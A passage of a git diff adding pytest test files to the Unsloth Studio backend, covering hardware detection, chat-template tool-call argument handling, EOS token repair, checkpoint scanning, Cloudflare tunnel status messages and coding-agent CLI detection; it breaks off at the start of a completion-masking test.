/studio/LICENSE.AGPL-3.0 + +"""detect_hardware() records WHY a host is chat-only so the UI can explain the +greyed-out Train/Export instead of disabling them silently. + +The key case is Apple Silicon without an importable MLX -> "mlx_unavailable", +which is the usual cause of "Train and Export greyed out" on Macs after a +reinstall/update dropped MLX. +""" + +from __future__ import annotations + +import sys +from pathlib import Path + +import pytest + +_BACKEND = Path(__file__).resolve().parent.parent +if str(_BACKEND) not in sys.path: + sys.path.insert(0, str(_BACKEND)) + +import utils.hardware.hardware as hw # noqa: E402 + + +@pytest.fixture(autouse = True) +def _no_torch(monkeypatch): + # Force the non-CUDA/XPU path regardless of the test host's real GPUs. + monkeypatch.setattr(hw, "_has_torch", lambda: False) + # detect_hardware() assigns these module globals directly (not via monkeypatch), + # so save and restore them; otherwise a chat-only verdict here leaks into other + # backend tests (e.g. test_utils.py) when they share a process on a GPU host. + saved = (hw.DEVICE, hw.CHAT_ONLY, hw.CHAT_ONLY_REASON, hw.IS_ROCM) + try: + yield + finally: + hw.DEVICE, hw.CHAT_ONLY, hw.CHAT_ONLY_REASON, hw.IS_ROCM = saved + + +def test_apple_silicon_without_mlx_is_chat_only_with_reason(monkeypatch): + monkeypatch.setattr(hw, "is_apple_silicon", lambda: True) + monkeypatch.setattr(hw, "_has_usable_mlx_stack", lambda: False) + hw.detect_hardware() + assert hw.CHAT_ONLY is True + assert hw.CHAT_ONLY_REASON == "mlx_unavailable" + + +def test_apple_silicon_with_mlx_enables_training(monkeypatch): + monkeypatch.setattr(hw, "is_apple_silicon", lambda: True) + monkeypatch.setattr(hw, "_has_usable_mlx_stack", lambda: True) + hw.detect_hardware() + assert hw.CHAT_ONLY is False + assert hw.CHAT_ONLY_REASON is None + + +def test_apple_silicon_with_incomplete_mlx_stack_stays_chat_only(monkeypatch): + # Bare `import mlx.core` works but the full mlx/mlx-lm/mlx-vlm stack does not + # (e.g. a backtracked/old mlx-vlm). The training gate must match the self-heal + # validator and stay chat-only so the UI does not enable a broken Train/Export. + monkeypatch.setattr(hw, "is_apple_silicon", lambda: True) + monkeypatch.setattr(hw, "_has_mlx", lambda: True) + monkeypatch.setattr(hw, "_has_usable_mlx_stack", lambda: False) + assert hw.detect_hardware() == hw.DeviceType.CPU + assert hw.CHAT_ONLY is True + assert hw.CHAT_ONLY_REASON == "mlx_unavailable" + + +def test_intel_mac_reason(monkeypatch): + monkeypatch.setattr(hw, "is_apple_silicon", lambda: False) + monkeypatch.setattr(hw, "_has_mlx", lambda: False) + monkeypatch.setattr(hw.platform, "system", lambda: "Darwin") + hw.detect_hardware() + assert hw.CHAT_ONLY is True + assert hw.CHAT_ONLY_REASON == "intel_mac" + + +def test_cpu_only_non_mac_reason(monkeypatch): + monkeypatch.setattr(hw, "is_apple_silicon", lambda: False) + monkeypatch.setattr(hw, "_has_mlx", lambda: False) + monkeypatch.setattr(hw.platform, "system", lambda: "Linux") + hw.detect_hardware() + assert hw.CHAT_ONLY is True + assert hw.CHAT_ONLY_REASON == "no_gpu" diff --git a/studio/backend/tests/test_chat_template_tool_arguments.py b/studio/backend/tests/test_chat_template_tool_arguments.py new file mode 100644 index 0000000000..13d1ecabaa --- /dev/null +++ b/studio/backend/tests/test_chat_template_tool_arguments.py @@ -0,0 +1,157 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""apply_chat_template_for_generation must coerce assistant tool_call arguments +from the OpenAI JSON-string form to a dict before rendering. Strict tool +templates (e.g. mlx-community Qwen3.5 checkpoints) iterate arguments.items() and +raise "Can only get item pairs from a mapping." on the string form when a prior +tool call is re-rendered on the next turn (MLX + transformers paths). +""" + +from __future__ import annotations + +import sys +from pathlib import Path + +import pytest + +_BACKEND = Path(__file__).resolve().parent.parent +if str(_BACKEND) not in sys.path: + sys.path.insert(0, str(_BACKEND)) + +from core.inference.chat_template_helpers import ( # noqa: E402 + _normalize_tool_call_arguments, + apply_chat_template_for_generation, +) + + +def _conv(arguments): + return [ + {"role": "user", "content": "weather?"}, + { + "role": "assistant", + "content": "", + "tool_calls": [ + { + "type": "function", + "id": "c1", + "function": {"name": "web_search", "arguments": arguments}, + } + ], + }, + {"role": "tool", "name": "web_search", "content": "21C sunny"}, + ] + + +class _StrictTemplateTokenizer: + """Mimics a strict Qwen tool template: rejects string tool_call arguments.""" + + def apply_chat_template( + self, + messages, + *, + tokenize = False, + add_generation_prompt = True, + **kw, + ): + for msg in messages: + for call in msg.get("tool_calls", []) or []: + args = call.get("function", {}).get("arguments") + if isinstance(args, str): + raise TypeError("Can only get item pairs from a mapping.") + return "RENDERED" + + +def test_string_arguments_are_parsed_to_dict(): + out = _normalize_tool_call_arguments(_conv('{"query": "sweden"}')) + args = out[1]["tool_calls"][0]["function"]["arguments"] + assert args == {"query": "sweden"} + + +def test_dict_arguments_untouched_and_no_copy(): + conv = _conv({"query": "sweden"}) + assert _normalize_tool_call_arguments(conv) is conv + + +def test_non_json_string_left_as_is(): + out = _normalize_tool_call_arguments(_conv("not json")) + assert out[1]["tool_calls"][0]["function"]["arguments"] == "not json" + + +def test_render_succeeds_on_strict_template_with_string_arguments(): + # Regression: strict template + string args used to raise. + result = apply_chat_template_for_generation(_StrictTemplateTokenizer(), _conv('{"query": "x"}')) + assert result == "RENDERED" + + +class _RecordingTokenizer: + """Lenient template: renders whatever arguments it is given (string or dict).""" + + def __init__(self): + self.seen_arguments = None + + def apply_chat_template( + self, + messages, + *, + tokenize = False, + add_generation_prompt = True, + **kw, + ): + for msg in messages: + for call in msg.get("tool_calls", []) or []: + self.seen_arguments = call.get("function", {}).get("arguments") + return "RENDERED" + + +def test_lenient_template_receives_original_string_untouched(): + # Lenient template must see the exact original string, not a coerced dict. + tok = _RecordingTokenizer() + apply_chat_template_for_generation(tok, _conv('{"query": "x"}')) + assert tok.seen_arguments == '{"query": "x"}' + + +def test_messages_without_tool_calls_pass_through_unchanged(): + conv = [{"role": "user", "content": "hi"}] + assert _normalize_tool_call_arguments(conv) is conv + + +class _RaiseExceptionTemplateTokenizer: + """Mimics the bundled gemma-4.jinja: rejects string tool_call arguments via + ``raise_exception(...)``, which surfaces as a Jinja error, NOT a TypeError.""" + + def apply_chat_template( + self, + messages, + *, + tokenize = False, + add_generation_prompt = True, + **kw, + ): + for msg in messages: + for call in msg.get("tool_calls", []) or []: + args = call.get("function", {}).get("arguments") + if isinstance(args, str): + raise ValueError( + "chat_template: tool_calls[].function.arguments must be a " + "JSON object (mapping), not a string." + ) + return "RENDERED" + + +def test_render_succeeds_on_raise_exception_template_with_string_arguments(): + # Regression: gemma-4.jinja rejects string args via a non-TypeError; retry must still coerce. + result = apply_chat_template_for_generation( + _RaiseExceptionTemplateTokenizer(), _conv('{"query": "x"}') + ) + assert result == "RENDERED" + + +def test_unrelated_template_error_still_propagates_with_dict_args(): + # Failure unrelated to string args (dict args, nothing to coerce) must propagate. + class _AlwaysRaises: + def apply_chat_template(self, messages, **kw): + raise ValueError("template is broken") + + with pytest.raises(ValueError, match = "broken"): + apply_chat_template_for_generation(_AlwaysRaises(), _conv({"query": "x"})) diff --git a/studio/backend/tests/test_chat_turn_end_eos.py b/studio/backend/tests/test_chat_turn_end_eos.py new file mode 100644 index 0000000000..c49e39f8fe --- /dev/null +++ b/studio/backend/tests/test_chat_turn_end_eos.py @@ -0,0 +1,150 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""chat_eos: resolve assistant-turn-end stop tokens from the chat_template and +repair generation_config so a chat model whose eos is a bare document terminator +(Qwen3.5: config eos <|endoftext|>, turns end with <|im_end|>) stops at the turn +boundary instead of running past it and looping. Dependency-light: imported here +without the full inference stack. +""" + +from __future__ import annotations + +import sys +from pathlib import Path + +_BACKEND = Path(__file__).resolve().parent.parent +if str(_BACKEND) not in sys.path: + sys.path.insert(0, str(_BACKEND)) + +from core.inference.chat_eos import ( # noqa: E402 + chat_eos_repair, + resolve_chat_turn_end_eos_ids, + resolve_chat_turn_end_eos_ids_using, +) + + +class _FakeTokenizer: + def __init__( + self, + eos_id, + chat_template = "", + token_ids = None, + unk_token_id = None, + ): + self.eos_token_id = eos_id + self.chat_template = chat_template + self.unk_token_id = unk_token_id + self._ids = dict(token_ids or {}) + + def convert_tokens_to_ids(self, tok): + return self._ids.get(tok, self.unk_token_id) + + +# ---- resolve_chat_turn_end_eos_ids --------------------------------------- + +_CHATML = "{% for m in messages %}<|im_start|>{{m.role}}\n{{m.content}}<|im_end|>{% endfor %}" + + +def test_qwen35_adds_im_end_from_template(): + # eos synced to <|endoftext|> (248044); template uses <|im_end|> (248046). + tok = _FakeTokenizer(248044, chat_template = _CHATML, token_ids = {"<|im_end|>": 248046}) + assert resolve_chat_turn_end_eos_ids(tok) == [248044, 248046] + + +def test_marker_in_vocab_but_not_in_template_is_ignored(): + # Base/coder model: <|im_end|> is in the vocab but the template does not use + # it, so it must not become a stop token. + tok = _FakeTokenizer(248044, chat_template = "{{ messages }}", token_ids = {"<|im_end|>": 248046}) + assert resolve_chat_turn_end_eos_ids(tok) == [248044] + + +def test_harmony_template_is_left_untouched(): + # gpt-oss/harmony: <|end|> is a channel delimiter, not the turn end. + harmony = "<|start|>assistant<|channel|>analysis<|message|>...<|end|>" + tok = _FakeTokenizer(200002, chat_template = harmony, token_ids = {"<|end|>": 200007}) + assert resolve_chat_turn_end_eos_ids(tok) == [200002] + + +def test_llama3_eot_id_from_template(): + tok = _FakeTokenizer(128001, chat_template = "...<|eot_id|>...", token_ids = {"<|eot_id|>": 128009}) + assert resolve_chat_turn_end_eos_ids(tok) == [128001, 128009] + + +def test_gemma4_turn_marker_from_template(): + # Gemma-4 ends turns with while keeping a document eos, so must + # be added as a stop token. + tok = _FakeTokenizer( + 1, chat_template = ".........", token_ids = {"": 106} + ) + assert resolve_chat_turn_end_eos_ids(tok) == [1, 106] + + +def test_resolve_using_reads_markers_from_template_but_ids_from_generation_tokenizer(): + # map_eos_token=True: the mapped template remaps <|im_end|> onto the doc-eos id, + # but the original keeps it atomic. Reading marker STRINGS from the template but + # IDS on the original recovers the real turn-end id (7), not the doc-eos id (2). + template_tok = _FakeTokenizer(2, chat_template = _CHATML, token_ids = {"<|im_end|>": 2}) + id_tok = _FakeTokenizer(2, chat_template = "", token_ids = {"<|im_end|>": 7}) + assert resolve_chat_turn_end_eos_ids_using(template_tok, id_tok) == [2, 7] + # Same tokenizer for both reproduces the plain resolve (load-time behaviour). + assert resolve_chat_turn_end_eos_ids_using(template_tok, template_tok) == [2] + + +def test_list_eos_preserved(): + tok = _FakeTokenizer([1, 2], chat_template = _CHATML, token_ids = {"<|im_end|>": 2}) + assert resolve_chat_turn_end_eos_ids(tok) == [1, 2] + + +def test_missing_marker_maps_to_unk_and_is_skipped(): + tok = _FakeTokenizer(7, chat_template = _CHATML, token_ids = {}, unk_token_id = 0) + assert resolve_chat_turn_end_eos_ids(tok) == [7] + + +def test_starling_barred_end_of_turn_from_template(): + # OpenChat/Starling end turns with the BARRED <|end_of_turn|> (distinct from + # Gemma's ). eos synced to =2, turn marker at 32000. + starling = "GPT4 Correct Assistant: hi<|end_of_turn|>" + tok = _FakeTokenizer(2, chat_template = starling, token_ids = {"<|end_of_turn|>": 32000}) + assert resolve_chat_turn_end_eos_ids(tok) == [2, 32000] + + +def test_dict_chat_template_scans_all_variants(): + # Hermes-3 style: chat_template is a {name: template} dict. Detection must scan + # every variant, not bail because the container is not a plain str. + tmpl = {"default": "{{ messages }}", "tool_use": _CHATML} + tok = _FakeTokenizer(2, chat_template = tmpl, token_ids = {"<|im_end|>": 5}) + assert resolve_chat_turn_end_eos_ids(tok) == [2, 5] + + +def test_list_of_dicts_chat_template_scans_all_variants(): + # tokenizer_config.json stores multi-templates as a list of {name, template}. + tmpl = [{"name": "default", "template": _CHATML}] + tok = _FakeTokenizer(2, chat_template = tmpl, token_ids = {"<|im_end|>": 5}) + assert resolve_chat_turn_end_eos_ids(tok) == [2, 5] + + +def test_dict_harmony_template_left_untouched(): + # A multi-variant container whose variant is harmony must still be left alone. + tmpl = {"default": "<|start|>assistant<|channel|>analysis<|message|>...<|end|>"} + tok = _FakeTokenizer(200002, chat_template = tmpl, token_ids = {"<|end|>": 200007}) + assert resolve_chat_turn_end_eos_ids(tok) == [200002] + + +# ---- chat_eos_repair ------------------------------------------------------ + + +def test_repair_adds_missing_turn_end(): + assert chat_eos_repair(248044, [248044, 248046]) == [248044, 248046] + + +def test_repair_from_missing_generation_config_eos(): + assert chat_eos_repair(None, [248046]) == [248046] + + +def test_repair_noop_when_already_covered(): + assert chat_eos_repair([248046, 248044], [248046]) is None + + +def test_repair_noop_when_no_turn_end_ids(): + assert chat_eos_repair(248044, []) is None diff --git a/studio/backend/tests/test_checkpoints_scan.py b/studio/backend/tests/test_checkpoints_scan.py new file mode 100644 index 0000000000..6d473146f5 --- /dev/null +++ b/studio/backend/tests/test_checkpoints_scan.py @@ -0,0 +1,256 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +import json +import sqlite3 +import sys +import types as _types +from pathlib import Path + +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +_loggers_stub = _types.ModuleType("loggers") +_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name) +sys.modules.setdefault("loggers", _loggers_stub) +sys.modules.setdefault("structlog", _types.ModuleType("structlog")) + +from utils.models import checkpoints as checkpoints_module +from utils.training_runs import build_default_output_dir_name + + +def _make_history_connection(db_path: Path) -> sqlite3.Connection: + conn = sqlite3.connect(str(db_path)) + conn.row_factory = sqlite3.Row + return conn + + +def _setup_training_runs_table(db_path: Path) -> None: + conn = _make_history_connection(db_path) + try: + conn.execute( + """ + CREATE TABLE training_runs ( + id TEXT PRIMARY KEY, + model_name TEXT NOT NULL, + config_json TEXT NOT NULL, + output_dir TEXT, + started_at TEXT NOT NULL + ) + """ + ) + conn.commit() + finally: + conn.close() + + +def _make_outputs_dir(tmp_path, monkeypatch) -> Path: + studio_home = tmp_path / "studio-home" + outputs_dir = studio_home / "outputs" + outputs_dir.mkdir(parents = True) + monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(studio_home)) + return outputs_dir + + +def test_scan_checkpoints_uses_output_dir_history_for_base_model(tmp_path, monkeypatch): + outputs_dir = _make_outputs_dir(tmp_path, monkeypatch) + run_dir = outputs_dir / "custom-run" + run_dir.mkdir() + (run_dir / "config.json").write_text("{}") + + db_path = tmp_path / "studio.db" + _setup_training_runs_table(db_path) + conn = _make_history_connection(db_path) + try: + conn.execute( + """ + INSERT INTO training_runs (id, model_name, config_json, output_dir, started_at) + VALUES (?, ?, ?, ?, ?) + """, + ( + "run-1", + "unsloth/Llama-3.2-3B-Instruct", + "{}", + str(run_dir.resolve()), + "2026-04-09T00:00:00Z", + ), + ) + conn.commit() + finally: + conn.close() + + monkeypatch.setattr( + checkpoints_module, + "get_connection", + lambda: _make_history_connection(db_path), + ) + + models = checkpoints_module.scan_checkpoints(outputs_dir = str(outputs_dir)) + + assert models[0][2]["base_model"] == "unsloth/Llama-3.2-3B-Instruct" + + +def test_scan_checkpoints_matches_project_suffixed_default_dir_against_history( + tmp_path, monkeypatch +): + outputs_dir = _make_outputs_dir(tmp_path, monkeypatch) + run_name = build_default_output_dir_name( + "unsloth/Llama-3.2-3B-Instruct", + "Customer Support", + timestamp = 1771227800, + ) + run_dir = outputs_dir / run_name + run_dir.mkdir() + (run_dir / "config.json").write_text("{}") + + db_path = tmp_path / "studio.db" + _setup_training_runs_table(db_path) + conn = _make_history_connection(db_path) + try: + conn.execute( + """ + INSERT INTO training_runs (id, model_name, config_json, output_dir, started_at) + VALUES (?, ?, ?, ?, ?) + """, + ( + "run-2", + "unsloth/Llama-3.2-3B-Instruct", + json.dumps({"project_name": "Customer Support"}), + None, + "2026-04-09T00:00:00Z", + ), + ) + conn.commit() + finally: + conn.close() + + monkeypatch.setattr( + checkpoints_module, + "get_connection", + lambda: _make_history_connection(db_path), + ) + + models = checkpoints_module.scan_checkpoints(outputs_dir = str(outputs_dir)) + + assert models[0][2]["base_model"] == "unsloth/Llama-3.2-3B-Instruct" + + +def test_scan_checkpoints_strips_project_suffix_without_history(tmp_path, monkeypatch): + outputs_dir = _make_outputs_dir(tmp_path, monkeypatch) + run_name = build_default_output_dir_name( + "unsloth/Llama-3.2-3B-Instruct", + "Customer Support", + timestamp = 1771227800, + ) + run_dir = outputs_dir / run_name + run_dir.mkdir() + (run_dir / "config.json").write_text("{}") + + db_path = tmp_path / "studio.db" + _setup_training_runs_table(db_path) + monkeypatch.setattr( + checkpoints_module, + "get_connection", + lambda: _make_history_connection(db_path), + ) + + models = checkpoints_module.scan_checkpoints(outputs_dir = str(outputs_dir)) + + assert models[0][2]["base_model"] == "unsloth/Llama-3.2-3B-Instruct" + + +def test_scan_checkpoints_preserves_project_marker_in_model_without_history(tmp_path, monkeypatch): + outputs_dir = _make_outputs_dir(tmp_path, monkeypatch) + run_name = build_default_output_dir_name( + "org/foo__project-bar", + timestamp = 1771227800, + ) + run_dir = outputs_dir / run_name + run_dir.mkdir() + (run_dir / "config.json").write_text("{}") + + db_path = tmp_path / "studio.db" + _setup_training_runs_table(db_path) + monkeypatch.setattr( + checkpoints_module, + "get_connection", + lambda: _make_history_connection(db_path), + ) + + models = checkpoints_module.scan_checkpoints(outputs_dir = str(outputs_dir)) + + assert models[0][2]["base_model"] == "org/foo__project-bar" + + +def test_scan_checkpoints_preserves_legacy_folder_name_fallback(tmp_path, monkeypatch): + outputs_dir = _make_outputs_dir(tmp_path, monkeypatch) + run_dir = outputs_dir / "unsloth_Llama-3.2-3B-Instruct_1771227800" + run_dir.mkdir() + (run_dir / "config.json").write_text("{}") + + db_path = tmp_path / "studio.db" + _setup_training_runs_table(db_path) + monkeypatch.setattr( + checkpoints_module, + "get_connection", + lambda: _make_history_connection(db_path), + ) + + models = checkpoints_module.scan_checkpoints(outputs_dir = str(outputs_dir)) + + assert models[0][2]["base_model"] == "unsloth/Llama-3.2-3B-Instruct" + + +def test_scan_checkpoints_prefers_exact_history_match_over_newer_suffix(tmp_path, monkeypatch): + outputs_dir = _make_outputs_dir(tmp_path, monkeypatch) + run_dir = outputs_dir / "unsloth_Test_1771227800" + run_dir.mkdir() + (run_dir / "config.json").write_text("{}") + + copied_dir = tmp_path / "copied" / run_dir.name + copied_dir.mkdir(parents = True) + + db_path = tmp_path / "studio.db" + _setup_training_runs_table(db_path) + conn = _make_history_connection(db_path) + try: + conn.execute( + """ + INSERT INTO training_runs (id, model_name, config_json, output_dir, started_at) + VALUES (?, ?, ?, ?, ?) + """, + ( + "run-exact", + "correct/base", + "{}", + str(run_dir.resolve()), + "2026-04-09T00:00:00Z", + ), + ) + conn.execute( + """ + INSERT INTO training_runs (id, model_name, config_json, output_dir, started_at) + VALUES (?, ?, ?, ?, ?) + """, + ( + "run-suffix", + "wrong/base", + "{}", + str(copied_dir.resolve()), + "2026-04-10T00:00:00Z", + ), + ) + conn.commit() + finally: + conn.close() + + monkeypatch.setattr( + checkpoints_module, + "get_connection", + lambda: _make_history_connection(db_path), + ) + + models = checkpoints_module.scan_checkpoints(outputs_dir = str(outputs_dir)) + + assert models[0][2]["base_model"] == "correct/base" diff --git a/studio/backend/tests/test_cloudflare_tunnel.py b/studio/backend/tests/test_cloudflare_tunnel.py index 8042240b64..7904c70a7b 100644 --- a/studio/backend/tests/test_cloudflare_tunnel.py +++ b/studio/backend/tests/test_cloudflare_tunnel.py @@ -11,6 +11,7 @@ checked by AST so we never import its heavy deps (uvicorn/structlog). import ast import importlib.util import io +import os import sys import tarfile import types @@ -136,7 +137,9 @@ def test_ensure_downloads_and_chmods_when_missing(monkeypatch, tmp_path): path = ct.ensure_cloudflared() assert path == str(cached) assert cached.exists() - assert cached.stat().st_mode & 0o111 # executable bit set + # Host OS, not monkeypatched ct.sys.platform. + if os.name != "nt": + assert cached.stat().st_mode & 0o111 def test_ensure_returns_none_on_download_failure(monkeypatch, tmp_path): @@ -238,7 +241,8 @@ def test_ensure_macos_extracts_tgz_and_chmods(monkeypatch, tmp_path): path = ct.ensure_cloudflared() assert path == str(cached) assert cached.read_bytes() == b"mach-o" - assert cached.stat().st_mode & 0o111 # chmod applied on posix + if os.name != "nt": + assert cached.stat().st_mode & 0o111 assert not cached.with_suffix(".tgz").exists() # temp archive cleaned up @@ -696,6 +700,28 @@ def test_argparse_cloudflare_default_true(): assert _argparse_default(_RUN_PY.read_text(), "--cloudflare") is True +def test_verify_global_reachability_marks_private_address_unreachable(): + src = _RUN_PY.read_text() + tree = ast.parse(src) + func_src = next( + ast.get_source_segment(src, n) + for n in ast.walk(tree) + if isinstance(n, ast.FunctionDef) and n.name == "_verify_global_reachability" + ) + captured = [] + ns = { + "_public_reachable": None, + "_stdout_color_ok": lambda: False, + "_url_host": lambda host: host, + "print": lambda *a, **k: captured.append(" ".join(str(x) for x in a)), + } + exec(compile(func_src, "", "exec"), ns) + ns["_verify_global_reachability"]("192.168.1.10", 8888) + + assert ns["_public_reachable"] is False + assert "private/LAN address" in "\n".join(captured) + + def test_run_server_registers_tunnel_atexit_backstop(): # An abnormal exit (exception after startup -> sys.exit) bypasses # _graceful_shutdown; an atexit backstop must still stop the tunnel. @@ -703,16 +729,18 @@ def test_run_server_registers_tunnel_atexit_backstop(): assert "atexit.register(stop_studio_tunnel)" in src -def test_run_server_gates_tunnel_on_wildcard(): - # Guard against accidentally widening the trigger beyond 0.0.0.0. - source = _RUN_PY.read_text() - assert "_cloudflare_enabled" in source - assert 'host == "0.0.0.0"' in source - - -def _run_print_cloudflare_line(monkeypatch, *, cloudflare_url, public_reachable): - """Exec the real _print_cloudflare_line source in isolation (run.py has heavy - deps), with the two module globals injected and startup_banner stubbed.""" +def _run_print_cloudflare_line( + monkeypatch, + *, + cloudflare_url, + public_reachable, + cloudflare_requested = False, + cloudflare_flag = True, + secure = False, + loopback_host = "127.0.0.1", + color = False, +): + """Exec _print_cloudflare_line without importing run.py's heavy deps.""" src = _RUN_PY.read_text() tree = ast.parse(src) func_src = next( @@ -721,16 +749,18 @@ def _run_print_cloudflare_line(monkeypatch, *, cloudflare_url, public_reachable) if isinstance(n, ast.FunctionDef) and n.name == "_print_cloudflare_line" ) stub = types.ModuleType("startup_banner") - stub.stdout_supports_color = lambda: False + stub.stdout_supports_color = lambda: color monkeypatch.setitem(sys.modules, "startup_banner", stub) captured: list[str] = [] ns = { "_cloudflare_url": cloudflare_url, "_public_reachable": public_reachable, + "_cloudflare_requested": cloudflare_requested, + "_cloudflare_flag": cloudflare_flag, "print": lambda *a, **k: captured.append(" ".join(str(x) for x in a)), } exec(compile(func_src, "", "exec"), ns) - ns["_print_cloudflare_line"]() + ns["_print_cloudflare_line"](secure = secure, loopback_host = loopback_host) return "\n".join(captured) @@ -750,7 +780,6 @@ def test_cloudflare_line_default_wording_when_reachable(monkeypatch): def test_cloudflare_line_default_wording_when_unknown(monkeypatch): - # Probe did not run / could not decide -> keep the existing wording. out = _run_print_cloudflare_line( monkeypatch, cloudflare_url = "https://x.trycloudflare.com", public_reachable = None ) @@ -758,6 +787,136 @@ def test_cloudflare_line_default_wording_when_unknown(monkeypatch): assert "Use the secure link" not in out -def test_cloudflare_line_prints_nothing_without_tunnel(monkeypatch): +def test_cloudflare_line_states_inactive_when_enabled_but_not_requested(monkeypatch): out = _run_print_cloudflare_line(monkeypatch, cloudflare_url = None, public_reachable = False) - assert out == "" + assert "Cloudflare tunnel: OFF for this mode" in out + assert "local network only" in out + + +def test_cloudflare_line_warns_when_public_url_up(monkeypatch): + out = _run_print_cloudflare_line( + monkeypatch, + cloudflare_url = "https://x.trycloudflare.com", + public_reachable = True, + cloudflare_requested = True, + ) + assert "Secure link access via Cloudflare: https://x.trycloudflare.com" in out + assert "Cloudflare tunnel: ON" in out + assert "PUBLIC" in out + assert "--no-cloudflare" in out + assert "raw port is also publicly reachable" in out + assert "local network only" not in out + + +def test_cloudflare_line_secure_mode_suppresses_public_warning(monkeypatch): + out = _run_print_cloudflare_line( + monkeypatch, + cloudflare_url = "https://x.trycloudflare.com", + public_reachable = True, + cloudflare_requested = True, + secure = True, + ) + assert "Secure link access via Cloudflare: https://x.trycloudflare.com" in out + assert "Cloudflare tunnel: ON" not in out + + +def test_cloudflare_line_states_disabled_when_off(monkeypatch): + out = _run_print_cloudflare_line( + monkeypatch, + cloudflare_url = None, + public_reachable = False, + cloudflare_requested = False, + cloudflare_flag = False, + ) + assert "Cloudflare tunnel: OFF" in out + assert "local network only" in out + + +def test_cloudflare_line_states_failed_when_requested_but_no_url(monkeypatch): + out = _run_print_cloudflare_line( + monkeypatch, + cloudflare_url = None, + public_reachable = False, + cloudflare_requested = True, + cloudflare_flag = True, + ) + assert "requested but failed to start" in out + assert "local network only" in out + + +def test_cloudflare_line_off_does_not_claim_local_only_when_unknown(monkeypatch): + out = _run_print_cloudflare_line( + monkeypatch, + cloudflare_url = None, + public_reachable = None, + cloudflare_requested = False, + cloudflare_flag = False, + ) + assert "Cloudflare tunnel: OFF" in out + assert "Raw port reachability was not verified" in out + assert "local network only" not in out + + +def test_cloudflare_line_failed_does_not_claim_local_only_when_unknown(monkeypatch): + out = _run_print_cloudflare_line( + monkeypatch, + cloudflare_url = None, + public_reachable = None, + cloudflare_requested = True, + cloudflare_flag = True, + ) + assert "requested but failed to start" in out + assert "Raw port reachability was not verified" in out + assert "local network only" not in out + + +@pytest.mark.parametrize( + "cloudflare_requested,cloudflare_flag,expected", + [ + (True, True, "requested but failed to start"), + (False, True, "Cloudflare tunnel: OFF for this mode"), + (False, False, "Cloudflare tunnel: OFF"), + ], +) +def test_cloudflare_line_unknown_warns_with_loopback_host( + monkeypatch, cloudflare_requested, cloudflare_flag, expected +): + out = _run_print_cloudflare_line( + monkeypatch, + cloudflare_url = None, + public_reachable = None, + cloudflare_requested = cloudflare_requested, + cloudflare_flag = cloudflare_flag, + loopback_host = "::1", + color = True, + ) + assert expected in out + assert "bind ::1" in out + assert "bind 127.0.0.1" not in out + assert "\033[38;5;215;1m" in out + + +def test_cloudflare_line_off_does_not_claim_local_only_when_publicly_reachable(monkeypatch): + out = _run_print_cloudflare_line( + monkeypatch, + cloudflare_url = None, + public_reachable = True, + cloudflare_requested = False, + cloudflare_flag = False, + ) + assert "Cloudflare tunnel: OFF" in out + assert "reachable from the public internet" in out + assert "local network only" not in out + + +def test_cloudflare_line_failed_does_not_claim_local_only_when_publicly_reachable(monkeypatch): + out = _run_print_cloudflare_line( + monkeypatch, + cloudflare_url = None, + public_reachable = True, + cloudflare_requested = True, + cloudflare_flag = True, + ) + assert "requested but failed to start" in out + assert "reachable from the public internet" in out + assert "local network only" not in out diff --git a/studio/backend/tests/test_coding_agents.py b/studio/backend/tests/test_coding_agents.py new file mode 100644 index 0000000000..b19da1dded --- /dev/null +++ b/studio/backend/tests/test_coding_agents.py @@ -0,0 +1,50 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Tests for coding-agent CLI detection used by the API-keys settings panel.""" + +from unittest.mock import patch + +from utils.coding_agents import CODING_AGENTS, detect_installed_coding_agents + + +def test_matches_unsloth_start_subcommands(): + # Each entry must be an actual `unsloth start ` subcommand name + # (unsloth_cli/commands/start.py). Spelled out here rather than imported + # from that module, which pulls in the CLI's heavier dependencies. + assert CODING_AGENTS == ("claude", "codex", "openclaw", "opencode", "hermes", "pi") + + +def test_detects_only_agents_present_on_path(): + installed = {"claude", "opencode"} + with patch( + "utils.coding_agents.shutil.which", + side_effect = lambda name: f"/usr/bin/{name}" if name in installed else None, + ): + assert detect_installed_coding_agents() == ["claude", "opencode"] + + +def test_returns_empty_list_when_nothing_is_installed(): + with patch("utils.coding_agents.shutil.which", return_value = None): + assert detect_installed_coding_agents() == [] + + +def test_preserves_declared_order_regardless_of_path_lookup_order(): + with patch( + "utils.coding_agents.shutil.which", + side_effect = lambda name: name if name in ("pi", "claude", "hermes") else None, + ): + assert detect_installed_coding_agents() == ["claude", "hermes", "pi"] + + +def test_treats_a_path_lookup_error_as_not_installed(): + # An advisory check: shutil.which raising for one entry (e.g. a permission + # error walking a PATH directory) should not take down the whole endpoint, + # and should not stop the remaining agents from being checked. + def flaky_which(name: str): + if name == "codex": + raise OSError("permission denied") + return name if name == "claude" else None + + with patch("utils.coding_agents.shutil.which", side_effect = flaky_which): + assert detect_installed_coding_agents() == ["claude"] diff --git a/studio/backend/tests/test_completion_masking.py b/studio/backend/tests/test_completion_masking.py new file mode 100644 index 0000000000..be0d8a69bd --- /dev/null +++ b/studio/backend/tests/test_completion_masking.py @@ -0,0 +1,314 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Completion-only masking policy: auto-detect first, manual table fallback. + +Covers utils.datasets.completion_masking.apply_completion_masking, shared by +the CUDA trainer (core/training/trainer.py) and the MLX worker +(core/training/worker.py): + - unmapped models use chat template auto-detection (previously masking was + silently disabled), + - gpt-oss goes auto-first too (its quantized checkpoints ship a template + the manual markers cannot match), + - an auto-detection failure falls back to the template table markers, + - a table miss after an auto failure warns and leaves the trainer unchanged. +""" + +from __future__ import annotations + +import pytest + +from utils.datasets.completion_masking import apply_completion_masking, lookup_manual_markers +from 